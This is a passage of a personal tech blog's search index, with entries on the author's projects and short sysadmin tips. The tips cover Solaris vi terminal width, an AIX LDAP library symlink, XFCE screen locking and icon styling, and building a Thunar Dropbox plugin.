XY Web Panel"},{"content":"To avoid losing focus on what I\u0026rsquo;m doing and what I want to write, I\u0026rsquo;ve decided to briefly sum-up the projects that I\u0026rsquo;m working on, some of them are purely theoretical. I do a lot of research and development but still, I always try to keep my foot on the ground it\u0026rsquo;s easier to deal with the real world if you observe and learn from it, instead of take for granted something written in a paper or a manual.\nComplex projects (IT):\nas a proof of concept, I\u0026rsquo;ve started more than 10 years ago a project named wide-net.org with the assumption to build an experimental enterprise network (for running collaboration and services of any kind) funny enough it became the foundations on which the datacenter and the entire network management and delivery run. At this point, the original project doesn\u0026rsquo;t really exist anymore the technology changed a lot since were I started so it doesn\u0026rsquo;t really make a lot of sense to continue and the strategic components are now part of the company assets, but the intellectual property of the project itself it will be always open\nTelemetry and Automation, I love telemetry and automation of any kind I\u0026rsquo;m doing this since ever from a physical PLC to deployment on some virtual infrastructure, right now I\u0026rsquo;m working on the network side I\u0026rsquo;m embracing the spine-leaf architecture a lot and soon enough became clear manuals configuration were not an option anymore, this is a requirement also for the next point\nMore complex projects (Physics):\nwell, it\u0026rsquo;s almost a paradox because I\u0026rsquo;m always late (I value more been on-time delivering a project rather be punctual or present in some useless meeting) but one of my hobbies is the precise measure of time, in a few words I build atomic clocks. Right now I\u0026rsquo;m trying to put together an industrial solution for the datacenter timekeeping with the proper NTP and PTP interfaces I would love to have a remote telescope in some remote area with less light pollution than where I live, but still, it\u0026rsquo;s just a nice idea only I would like to have a radio telescope ","permalink":"https://www.deepreflect.net/projects/","summary":"\u003cp\u003eTo avoid losing focus on what I\u0026rsquo;m doing and what I want to write, I\u0026rsquo;ve decided to briefly sum-up the projects that I\u0026rsquo;m working on, some of them are purely theoretical. I do a lot of research and development but still, I always try to keep my foot on the ground it\u0026rsquo;s easier to deal with the real world if you observe and learn from it, instead of take for granted something written in a paper or a manual.\u003c/p\u003e","title":"Projects"},{"content":"My photos are hosted on Flickr click on a thumbnail to get there:\n","permalink":"https://www.deepreflect.net/photos/","summary":"\u003cp\u003eMy photos are hosted on Flickr click on a thumbnail to get there:\u003c/p\u003e\n\u003ciframe style=\"border: 0;\" tabindex=\"0\" src=\"https://www.deepreflect.net/flickr/index.php\" width=\"900\" height=\"680\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\" aria-hidden=\"false\"\u003e\u003cspan data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\"\u003e\u003c/span\u003e\u003cspan data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\"\u003e\u003c/span\u003e\u003c/iframe\u003e","title":"Photos"},{"content":"I know, it\u0026rsquo;s been a while since a wrote somethings, at the time 2014 (to be precise I\u0026rsquo;ve found a very incomplete draft from 2015) the blogs were still cool, nowadays everything it\u0026rsquo;s compressed in a few words on some social media platform of choice like we don\u0026rsquo;t have any more time to stop read and truly understands what are we reading. And it\u0026rsquo;s a kind of a shame if you think how we devolve since 10 years ago, maybe it\u0026rsquo;s been more, much more, but at the time I didn\u0026rsquo;t have the proper knowledge to understand what\u0026rsquo;s really was going on in the world.\nAnyway, I think it\u0026rsquo;s the right time to get back to write, since the last post I\u0026rsquo;ve founded two companies, and at this precise moments, you understand the importance of visualizing and making something new from scratch instead of trying fix someone else chronically broken stuff. This doesn\u0026rsquo;t mean it\u0026rsquo;s an easier task quite the opposite I found myself very far from my comfort zone more times than I\u0026rsquo;ve expected and dealing with it was really hard.\nI\u0026rsquo;ve also shifted my work interest from the legacy enterprises to the Media industry: Television to be specific, and even if broadcasting isn\u0026rsquo;t something new for me I truly discovered a new world for my mind, but this is a story for another time!\n","permalink":"https://www.deepreflect.net/2020/12/25/getting-back/","summary":"\u003cp\u003eI know, it\u0026rsquo;s been a while since a wrote somethings, at the time 2014 (to be precise I\u0026rsquo;ve found a very incomplete draft from 2015) the blogs were still cool, nowadays everything it\u0026rsquo;s compressed in a few words on some social media platform of choice like we don\u0026rsquo;t have any more time to stop read and truly understands what are we reading. And it\u0026rsquo;s a kind of a shame if you think how we devolve since 10 years ago, maybe it\u0026rsquo;s been more, much more, but at the time I didn\u0026rsquo;t have the proper knowledge to understand what\u0026rsquo;s really was going on in the world.\u003c/p\u003e","title":"Getting back?"},{"content":"This is a very old project of mine started as a simple list and become a map as soon Google published the Maps API and is been upgraded regularly to adapt the code to the API changes and migrated multiple times from different SQL when I liked something in particular.\nStay (places I slept at least one night) Wish List Planned Trip Airport/Transit\n","permalink":"https://www.deepreflect.net/traveleo4/","summary":"\u003cp\u003eThis is a very old project of mine started as a simple list and become a map as soon Google published the Maps API and is been upgraded regularly to adapt the code to the API changes and migrated multiple times from different SQL when I liked something in particular.\u003c/p\u003e\n\u003ciframe style=\"border: 0;\" tabindex=\"0\" src=\"https://www.deepreflect.net/traveleo/iframe.php\" width=\"900\" height=\"600\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\" aria-hidden=\"false\"\u003e\u003cspan data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\"\u003e\u003c/span\u003e\u003c/iframe\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/traveleo/images/mm_20_blue.png\"\u003eStay (places I slept at least one night) \n\u003cimg loading=\"lazy\" src=\"/traveleo/images/mm_20_yellow.png\"\u003e Wish List \n\u003cimg loading=\"lazy\" src=\"/traveleo/images/mm_20_red.png\"\u003e Planned Trip\n\u003cimg loading=\"lazy\" src=\"/traveleo/images/icon56.png\"\u003e Airport/Transit\u003c/p\u003e","title":"TraveLeo"},{"content":"You may receive the following error when using VI within Solaris:\nTerminal too wide\nYou can solve this increasing the number of columns with the command\nstty columns 120\n","permalink":"https://www.deepreflect.net/2014/09/06/solaris-vi-terminal-too-wide/","summary":"\u003cp\u003eYou may receive the following error when using VI within Solaris:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eTerminal too wide\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eYou can solve this increasing the number of columns with the command\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003estty columns 120\u003c/code\u003e\u003c/p\u003e","title":"Solaris - VI Terminal too wide"},{"content":"The secldapclntd daemon is not running. Starting the secldapclntd daemon. exec(): 0509-036 Cannot load program /usr/sbin/secldapclntd because of the following errors: 0509-150 Dependent module libibmldap.a could not be loaded. 0509-022 Cannot load module libibmldap.a. 0509-026 System error: A file or directory in the path name does not exist. exec(): 0509-036 Cannot load program /usr/sbin/secldapclntd because of the following errors: 0509-150 Dependent module libibmldap.a could not be loaded. 0509-022 Cannot load module libibmldap.a. 0509-026 System error: A file or directory in the path name does not exist. The secldapclntd daemon failed to start. root@aix01:/opt/IBM/ldap/V6.2/lib#ln -s /opt/IBM/ldap/V6.2/lib/libibmldap.a /usr/lib/libibmldap.a root@aix01:/opt/IBM/ldap/V6.2/lib#ln -f -s /opt/IBM/ldap/V6.2/lib/libibmldap.a /usr/lib/libibmldap.a ","permalink":"https://www.deepreflect.net/2014/03/28/aix-7-1-ldap-auth/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe secldapclntd daemon is \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e running\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eStarting the secldapclntd daemon\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexec(): \u003cspan style=\"color:#ae81ff\"\u003e0509\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e036\u003c/span\u003e Cannot load program \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esbin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esecldapclntd because of the following errors:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e0509\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e150\u003c/span\u003e Dependent module libibmldap\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ea could \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e be loaded\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e0509\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e022\u003c/span\u003e Cannot load module libibmldap\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ea\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e0509\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e026\u003c/span\u003e System error: A file \u003cspan style=\"color:#f92672\"\u003eor\u003c/span\u003e directory \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e the path name does \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e exist\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexec(): \u003cspan style=\"color:#ae81ff\"\u003e0509\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e036\u003c/span\u003e Cannot load program \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esbin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esecldapclntd because of the following errors:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e0509\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e150\u003c/span\u003e Dependent module libibmldap\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ea could \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e be loaded\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e0509\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e022\u003c/span\u003e Cannot load module libibmldap\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ea\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ae81ff\"\u003e0509\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e026\u003c/span\u003e System error: A file \u003cspan style=\"color:#f92672\"\u003eor\u003c/span\u003e directory \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e the path name does \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e exist\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThe secldapclntd daemon failed to start\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eaix01:\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eopt\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eIBM\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eldap\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eV6\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elib\u003cspan style=\"color:#75715e\"\u003e#ln -s /opt/IBM/ldap/V6.2/lib/libibmldap.a /usr/lib/libibmldap.a\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eaix01:\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eopt\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eIBM\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eldap\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eV6\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elib\u003cspan style=\"color:#75715e\"\u003e#ln -f -s /opt/IBM/ldap/V6.2/lib/libibmldap.a /usr/lib/libibmldap.a\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"AIX 7.1 - LDAP Auth"},{"content":"/usr/bin/xflock4\nPATH=/bin:/usr/bin export PATH # Lock by xscreensaver or gnome-screensaver, if a respective daemon is running #for lock_cmd in \\ # \u0026#34;xscreensaver-command -lock\u0026#34; \\ # \u0026#34;gnome-screensaver-command --lock\u0026#34; #do # $lock_cmd \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026amp; exit #done for lock_cmd in \\ \u0026#34;dm-tool lock\u0026#34; do $lock_cmd \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026amp; exit done # else run another access locking utility, if installed for lock_cmd in \\ ","permalink":"https://www.deepreflect.net/2014/01/18/xfce-screen-lock-using-lightgdm/","summary":"\u003cp\u003e/usr/bin/xflock4\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePATH\u003cspan style=\"color:#f92672\"\u003e=/\u003c/span\u003ebin:\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eexport\u003c/span\u003e PATH\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Lock by xscreensaver or gnome-screensaver, if a respective daemon is running\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#for lock_cmd in \\\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#    \u0026#34;xscreensaver-command -lock\u0026#34; \\\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#    \u0026#34;gnome-screensaver-command --lock\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#do\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#    $lock_cmd \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026amp; exit\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#done\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e lock_cmd \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \\\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;dm-tool lock\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003elock_cmd \u003cspan style=\"color:#f92672\"\u003e\u0026gt;/\u003c/span\u003edev\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003enull \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e exit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edone\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# else run another access locking utility, if installed\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e lock_cmd \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \\\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"XFCE - Screen lock using LightGDM"},{"content":"style \u0026#34;xfdesktop-icon-view\u0026#34; { XfdesktopIconView::label-alpha = 0 XfdesktopIconView::selected-label-alpha = 170 XfdesktopIconView::ellipsize-icon-labels = 0 XfdesktopIconView::shadow-x-offset = 0 XfdesktopIconView::shadow-y-offset = 0 XfdesktopIconView::shadow-color = \u0026#34;#000000\u0026#34; XfdesktopIconView::selected-shadow-x-offset = 0 XfdesktopIconView::selected-shadow-y-offset = 0 XfdesktopIconView::selected-shadow-color = \u0026#34;#ffffff\u0026#34; XfdesktopIconVIew::cell-spacing = 6 XfdesktopIconView::cell-padding = 6 XfdesktopIconView::cell-text-width-proportion = 2.5 base[NORMAL] = \u0026#34;#cccccc\u0026#34; base[SELECTED] = \u0026#34;#cccccc\u0026#34; base[ACTIVE] = \u0026#34;#cccccc\u0026#34; fg[NORMAL] = \u0026#34;#ffffff\u0026#34; fg[SELECTED] = \u0026#34;#000000\u0026#34; fg[ACTIVE] = \u0026#34;#000000\u0026#34; } widget_class \u0026#34;*XfdesktopIconView*\u0026#34; style \u0026#34;xfdesktop-icon-view\u0026#34; [leo@thinkleo4 ~]$ ","permalink":"https://www.deepreflect.net/2014/01/18/xfce-desktop-icon/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estyle \u0026#34;xfdesktop-icon-view\u0026#34; {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    XfdesktopIconView::label-alpha = 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    XfdesktopIconView::selected-label-alpha = 170\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    XfdesktopIconView::ellipsize-icon-labels = 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    XfdesktopIconView::shadow-x-offset = 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    XfdesktopIconView::shadow-y-offset = 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    XfdesktopIconView::shadow-color = \u0026#34;#000000\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    XfdesktopIconView::selected-shadow-x-offset = 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    XfdesktopIconView::selected-shadow-y-offset = 0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    XfdesktopIconView::selected-shadow-color = \u0026#34;#ffffff\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    XfdesktopIconVIew::cell-spacing = 6\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    XfdesktopIconView::cell-padding = 6\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    XfdesktopIconView::cell-text-width-proportion = 2.5\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    base[NORMAL] = \u0026#34;#cccccc\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    base[SELECTED] = \u0026#34;#cccccc\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    base[ACTIVE] = \u0026#34;#cccccc\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    fg[NORMAL] = \u0026#34;#ffffff\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    fg[SELECTED] = \u0026#34;#000000\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    fg[ACTIVE] = \u0026#34;#000000\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewidget_class \u0026#34;*XfdesktopIconView*\u0026#34; style \u0026#34;xfdesktop-icon-view\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo@thinkleo4 ~]$\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"XFCE - Desktop Icons"},{"content":"[root@thinkleo4 ~]# yum install Thunar-devel thunarx-python wget http://softwarebakery.com/maato/files/thunar-dropbox/thunar-dropbox-0.2.0.tar.bz2 [leo@thinkleo4 thunar-dropbox-0.2.0]$ ./waf configure --prefix=/usr Checking for program gcc or cc : /usr/bin/gcc Checking for program cpp : /usr/bin/cpp Checking for program ar : /usr/bin/ar Checking for program ranlib : /usr/bin/ranlib Checking for gcc : ok Checking for thunarx-2 : yes Checking for gio-2.0 : yes \u0026#39;configure\u0026#39; finished successfully (0.230s) [leo@thinkleo4 thunar-dropbox-0.2.0]$ ./waf build Waf: Entering directory `/home/leo/Downloads/thunar-dropbox-0.2.0/build\u0026#39; [1/4] cc: src/dropbox-communication.c -\u0026gt; build/default/src/dropbox-communication_1.o [2/4] cc: src/tdp-provider.c -\u0026gt; build/default/src/tdp-provider_1.o [3/4] cc: src/thunar-dropbox-plugin.c -\u0026gt; build/default/src/thunar-dropbox-plugin_1.o [4/4] cc_link: build/default/src/dropbox-communication_1.o build/default/src/tdp-provider_1.o build/default/src/thunar-dropbox-plugin_1.o -\u0026gt; build/default/libthunar-dropbox.so Waf: Leaving directory `/home/leo/Downloads/thunar-dropbox-0.2.0/build\u0026#39; \u0026#39;build\u0026#39; finished successfully (1.990s) [leo@thinkleo4 thunar-dropbox-0.2.0]$ sudo ./waf install Waf: Entering directory `/home/leo/Downloads/thunar-dropbox-0.2.0/build\u0026#39; * installing data/icons/hicolor/16x16/apps/thunar-dropbox.png as /usr/share/icons/hicolor/16x16/apps/thunar-dropbox.png * installing build/default/libthunar-dropbox.so as /usr/lib/thunarx-2/thunar-dropbox.so Waf: Leaving directory `/home/leo/Downloads/thunar-dropbox-0.2.0/build\u0026#39; \u0026#39;install\u0026#39; finished successfully (0.006s) [leo@thinkleo4 thunar-dropbox-0.2.0]$ sudo mv /usr/lib/thunarx-2/thunar-dropbox.so /usr/lib64/thunarx-2/ [leo@thinkleo4 thunar-dropbox-0.2.0]$ ","permalink":"https://www.deepreflect.net/2014/01/18/xfce-dropbox/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003ethinkleo4 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#75715e\"\u003e# yum install Thunar-devel thunarx-python\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewget http:\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003esoftwarebakery\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ecom\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003emaato\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003efiles\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ethunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.\u003c/span\u003etar\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ebz2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003ethinkleo4 thunar\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edropbox\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e./\u003c/span\u003ewaf configure \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eprefix\u003cspan style=\"color:#f92672\"\u003e=/\u003c/span\u003eusr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e program gcc \u003cspan style=\"color:#f92672\"\u003eor\u003c/span\u003e cc           : \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003egcc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eChecking \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e program cpp                 : \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ecpp\n\u003c/span\u003e\u003c/span\u003e\u003cspan 